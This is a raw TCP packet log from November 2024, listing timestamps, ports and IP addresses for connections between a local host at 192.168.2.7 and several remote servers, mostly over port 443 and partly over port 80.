Nov 11, 2024 19:17:44.890041113 CET	443	49764	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.020018101 CET	443	49760	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.021356106 CET	443	49762	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.029191971 CET	443	49761	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.030978918 CET	443	49763	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.065428019 CET	49762	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.066478014 CET	49760	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.081864119 CET	49763	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.081893921 CET	49761	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.526360035 CET	49760	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.526396990 CET	443	49760	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.526866913 CET	49760	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.526874065 CET	443	49760	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.527251005 CET	49762	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.527261019 CET	443	49762	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.527635098 CET	49762	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.527641058 CET	443	49762	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.528031111 CET	49761	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.528053045 CET	443	49761	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.528559923 CET	49761	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.528568029 CET	443	49761	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.528992891 CET	49763	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.529010057 CET	443	49763	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.529731989 CET	49763	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.529738903 CET	443	49763	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.641587973 CET	443	49761	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.641699076 CET	443	49763	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.641782045 CET	443	49762	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.641788006 CET	443	49763	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.641848087 CET	49763	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.642119884 CET	443	49762	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.642175913 CET	49762	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.642178059 CET	443	49761	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.642220020 CET	49761	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.642265081 CET	443	49760	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.642333031 CET	443	49760	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.642384052 CET	49760	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.649452925 CET	443	49764	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.691970110 CET	49764	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.930109978 CET	49764	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.930140018 CET	443	49764	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.930850983 CET	49764	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.930860043 CET	443	49764	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.931102991 CET	49760	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.931140900 CET	443	49760	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.931162119 CET	49760	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.931169987 CET	443	49760	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.933751106 CET	49761	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.933788061 CET	443	49761	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.933795929 CET	49761	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.933803082 CET	443	49761	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.935173988 CET	49763	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.935187101 CET	443	49763	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.935199022 CET	49763	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.935204983 CET	443	49763	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.941533089 CET	49762	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.941570044 CET	443	49762	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:45.941587925 CET	49762	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:45.941593885 CET	443	49762	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:46.020241976 CET	443	49764	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:46.020328999 CET	443	49764	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:46.020442963 CET	49764	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:46.026621103 CET	49765	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:46.026668072 CET	443	49765	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:46.026814938 CET	49765	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:46.083477020 CET	49764	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:46.083477020 CET	49764	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:46.083514929 CET	443	49764	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:46.083525896 CET	443	49764	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:46.133214951 CET	49765	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:46.133264065 CET	443	49765	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:46.350652933 CET	49766	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:46.350713968 CET	443	49766	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:46.350801945 CET	49766	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:46.460783958 CET	49766	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:46.460814953 CET	443	49766	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:46.508502007 CET	49771	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:46.508544922 CET	443	49771	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:46.508667946 CET	49771	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:46.522541046 CET	49772	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:46.522600889 CET	443	49772	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:46.522696972 CET	49772	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:46.529170036 CET	49775	443	192.168.2.7	94.245.104.56
Nov 11, 2024 19:17:46.529211044 CET	443	49775	94.245.104.56	192.168.2.7
Nov 11, 2024 19:17:46.529300928 CET	49775	443	192.168.2.7	94.245.104.56
Nov 11, 2024 19:17:46.530077934 CET	49775	443	192.168.2.7	94.245.104.56
Nov 11, 2024 19:17:46.530092001 CET	443	49775	94.245.104.56	192.168.2.7
Nov 11, 2024 19:17:46.549949884 CET	49771	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:46.549983025 CET	443	49771	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:46.552262068 CET	49776	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:46.552301884 CET	443	49776	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:46.552462101 CET	49776	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:46.552876949 CET	49776	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:46.552901983 CET	443	49776	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:46.557497025 CET	49772	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:46.557534933 CET	443	49772	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:46.686578035 CET	443	49765	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:46.768513918 CET	49765	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:46.768549919 CET	443	49765	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:46.769432068 CET	49765	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:46.769442081 CET	443	49765	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:46.858056068 CET	443	49765	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:46.858745098 CET	443	49765	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:46.858808041 CET	49765	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:46.947767019 CET	49765	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:46.947796106 CET	443	49765	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:46.947812080 CET	49765	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:46.947818041 CET	443	49765	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.007546902 CET	443	49766	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.080248117 CET	49766	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.080274105 CET	443	49766	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.080933094 CET	49766	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.080938101 CET	443	49766	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.086785078 CET	443	49771	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.087410927 CET	49771	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.087429047 CET	443	49771	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.088277102 CET	49771	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.088282108 CET	443	49771	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.088639975 CET	443	49776	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.089612961 CET	49776	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.089627028 CET	443	49776	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.091681957 CET	443	49772	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.130388975 CET	49776	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.130399942 CET	443	49776	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.185444117 CET	443	49766	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.185496092 CET	443	49766	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.185667038 CET	49766	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.187496901 CET	443	49771	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.187586069 CET	443	49771	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.187625885 CET	49771	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.219410896 CET	443	49776	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.219789982 CET	443	49776	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.219863892 CET	49776	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.254160881 CET	443	49775	94.245.104.56	192.168.2.7
Nov 11, 2024 19:17:47.258615971 CET	49772	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.354377985 CET	49772	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.354408979 CET	443	49772	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.354907036 CET	49772	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.354918957 CET	443	49772	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.357393026 CET	49766	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.357424974 CET	443	49766	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.357436895 CET	49766	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.357443094 CET	443	49766	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.358125925 CET	49771	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.358158112 CET	443	49771	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.358172894 CET	49771	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.358181953 CET	443	49771	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.371242046 CET	49776	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.371259928 CET	443	49776	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.371315956 CET	49776	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.371320963 CET	443	49776	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.374943018 CET	49775	443	192.168.2.7	94.245.104.56
Nov 11, 2024 19:17:47.380748034 CET	49775	443	192.168.2.7	94.245.104.56
Nov 11, 2024 19:17:47.380757093 CET	443	49775	94.245.104.56	192.168.2.7
Nov 11, 2024 19:17:47.382016897 CET	443	49775	94.245.104.56	192.168.2.7
Nov 11, 2024 19:17:47.382035971 CET	443	49775	94.245.104.56	192.168.2.7
Nov 11, 2024 19:17:47.382100105 CET	49775	443	192.168.2.7	94.245.104.56
Nov 11, 2024 19:17:47.419379950 CET	49778	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.419420004 CET	443	49778	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.419486046 CET	49778	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.443408966 CET	443	49772	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.443487883 CET	443	49772	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.443542004 CET	49772	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.492264032 CET	49775	443	192.168.2.7	94.245.104.56
Nov 11, 2024 19:17:47.492470980 CET	443	49775	94.245.104.56	192.168.2.7
Nov 11, 2024 19:17:47.492878914 CET	49775	443	192.168.2.7	94.245.104.56
Nov 11, 2024 19:17:47.492893934 CET	443	49775	94.245.104.56	192.168.2.7
Nov 11, 2024 19:17:47.524631977 CET	49778	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.524651051 CET	443	49778	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.544127941 CET	49772	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.544127941 CET	49772	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.544145107 CET	443	49772	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.544159889 CET	443	49772	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.617750883 CET	49775	443	192.168.2.7	94.245.104.56
Nov 11, 2024 19:17:47.649962902 CET	443	49775	94.245.104.56	192.168.2.7
Nov 11, 2024 19:17:47.681608915 CET	49782	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.681643963 CET	443	49782	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.681807995 CET	49782	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.707209110 CET	49784	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.707247972 CET	443	49784	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.707329035 CET	49784	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.707736015 CET	49782	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.707748890 CET	443	49782	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.709492922 CET	49785	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.709532022 CET	443	49785	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.709611893 CET	49785	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.709825993 CET	49785	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.709841013 CET	443	49785	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.713418961 CET	49775	443	192.168.2.7	94.245.104.56
Nov 11, 2024 19:17:47.713494062 CET	443	49775	94.245.104.56	192.168.2.7
Nov 11, 2024 19:17:47.713594913 CET	49775	443	192.168.2.7	94.245.104.56
Nov 11, 2024 19:17:47.717334032 CET	49784	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.717355967 CET	443	49784	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.739686012 CET	49786	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.739737034 CET	443	49786	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:47.740582943 CET	49786	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.740787983 CET	49786	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:47.740806103 CET	443	49786	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.011394978 CET	80	49740	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:48.012062073 CET	49740	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:48.052056074 CET	443	49778	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.099329948 CET	49778	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.099353075 CET	443	49778	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.099838972 CET	49778	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.099843979 CET	443	49778	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.188209057 CET	443	49778	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.188283920 CET	443	49778	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.188414097 CET	49778	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.221790075 CET	443	49782	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.223280907 CET	443	49785	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.266163111 CET	443	49784	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.272293091 CET	443	49786	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.299073935 CET	49785	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.401458979 CET	49784	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.407133102 CET	49782	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.407151937 CET	49786	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.460654020 CET	49786	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.460676908 CET	443	49786	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.461410046 CET	49782	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.461431026 CET	443	49782	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.461606026 CET	49786	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.461615086 CET	443	49786	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.461882114 CET	49778	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.461906910 CET	443	49778	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.461926937 CET	49778	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.461935997 CET	443	49778	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.461983919 CET	49782	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.461990118 CET	443	49782	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.462233067 CET	49785	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.462256908 CET	443	49785	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.462670088 CET	49785	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.462677002 CET	443	49785	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.463131905 CET	49784	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.463140965 CET	443	49784	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.463526011 CET	49784	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.463532925 CET	443	49784	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.504652023 CET	49787	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:48.504677057 CET	443	49787	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:48.505383968 CET	49787	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:48.510848999 CET	49787	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:48.510865927 CET	443	49787	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:48.512288094 CET	49788	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.512299061 CET	443	49788	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.513057947 CET	49788	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.520466089 CET	49788	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.520473957 CET	443	49788	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.550637007 CET	443	49786	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.550777912 CET	443	49786	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.550836086 CET	49786	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.550884962 CET	443	49782	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.551048040 CET	443	49782	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.551101923 CET	49782	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.551846027 CET	443	49784	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.551953077 CET	443	49784	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.552006006 CET	49784	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.554909945 CET	49786	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.554940939 CET	443	49786	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.554955006 CET	49786	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.554961920 CET	443	49786	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.555183887 CET	49782	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.555200100 CET	443	49782	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.555211067 CET	49782	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.555217028 CET	443	49782	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.556966066 CET	49784	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.556979895 CET	443	49784	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.556989908 CET	49784	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.556994915 CET	443	49784	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.557944059 CET	443	49785	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.558386087 CET	443	49785	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.558432102 CET	49785	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.560756922 CET	49791	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.560791969 CET	443	49791	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.560847998 CET	49791	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.565316916 CET	49792	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.565354109 CET	443	49792	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.565411091 CET	49792	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.567981005 CET	49785	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.568003893 CET	443	49785	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.568015099 CET	49785	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.568025112 CET	443	49785	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.568504095 CET	49740	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:48.568505049 CET	49793	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.568536043 CET	443	49793	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.568600893 CET	49793	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.569590092 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:48.571660042 CET	49791	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.571675062 CET	443	49791	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.573440075 CET	80	49740	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:48.573596001 CET	49792	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.573622942 CET	443	49792	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.574554920 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:48.574616909 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:48.575526953 CET	49793	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.575546980 CET	443	49793	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.579039097 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:48.579104900 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:48.583914042 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:48.584062099 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:48.584105968 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:48.584115028 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:48.586189985 CET	49795	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.586220980 CET	443	49795	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.586278915 CET	49795	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.586405993 CET	49795	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:48.586419106 CET	443	49795	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:48.711731911 CET	49805	443	192.168.2.7	18.244.18.38
Nov 11, 2024 19:17:48.711772919 CET	443	49805	18.244.18.38	192.168.2.7
Nov 11, 2024 19:17:48.711817026 CET	49805	443	192.168.2.7	18.244.18.38
Nov 11, 2024 19:17:48.712270021 CET	49805	443	192.168.2.7	18.244.18.38
Nov 11, 2024 19:17:48.712289095 CET	443	49805	18.244.18.38	192.168.2.7
Nov 11, 2024 19:17:48.774326086 CET	49808	443	192.168.2.7	4.245.163.56
Nov 11, 2024 19:17:48.774368048 CET	443	49808	4.245.163.56	192.168.2.7
Nov 11, 2024 19:17:48.774431944 CET	49808	443	192.168.2.7	4.245.163.56
Nov 11, 2024 19:17:48.776117086 CET	49808	443	192.168.2.7	4.245.163.56
Nov 11, 2024 19:17:48.776132107 CET	443	49808	4.245.163.56	192.168.2.7
Nov 11, 2024 19:17:49.190872908 CET	443	49793	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.191903114 CET	443	49795	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.191926003 CET	443	49792	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.192003965 CET	443	49788	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.192142010 CET	443	49791	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.194757938 CET	49791	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.194773912 CET	443	49791	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.195542097 CET	49791	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.195552111 CET	443	49791	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.197833061 CET	49793	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.197868109 CET	443	49793	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.198499918 CET	49793	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.198508024 CET	443	49793	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.241238117 CET	49795	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.241271019 CET	443	49795	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.241945982 CET	49795	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.241959095 CET	443	49795	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.242337942 CET	49792	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.242362022 CET	443	49792	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.242916107 CET	49792	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.242923021 CET	443	49792	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.243244886 CET	49788	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.243273020 CET	443	49788	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:49.243813038 CET	49788	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:49.243824959 CET	443	49788	13.107.246.45	192.168.2.7
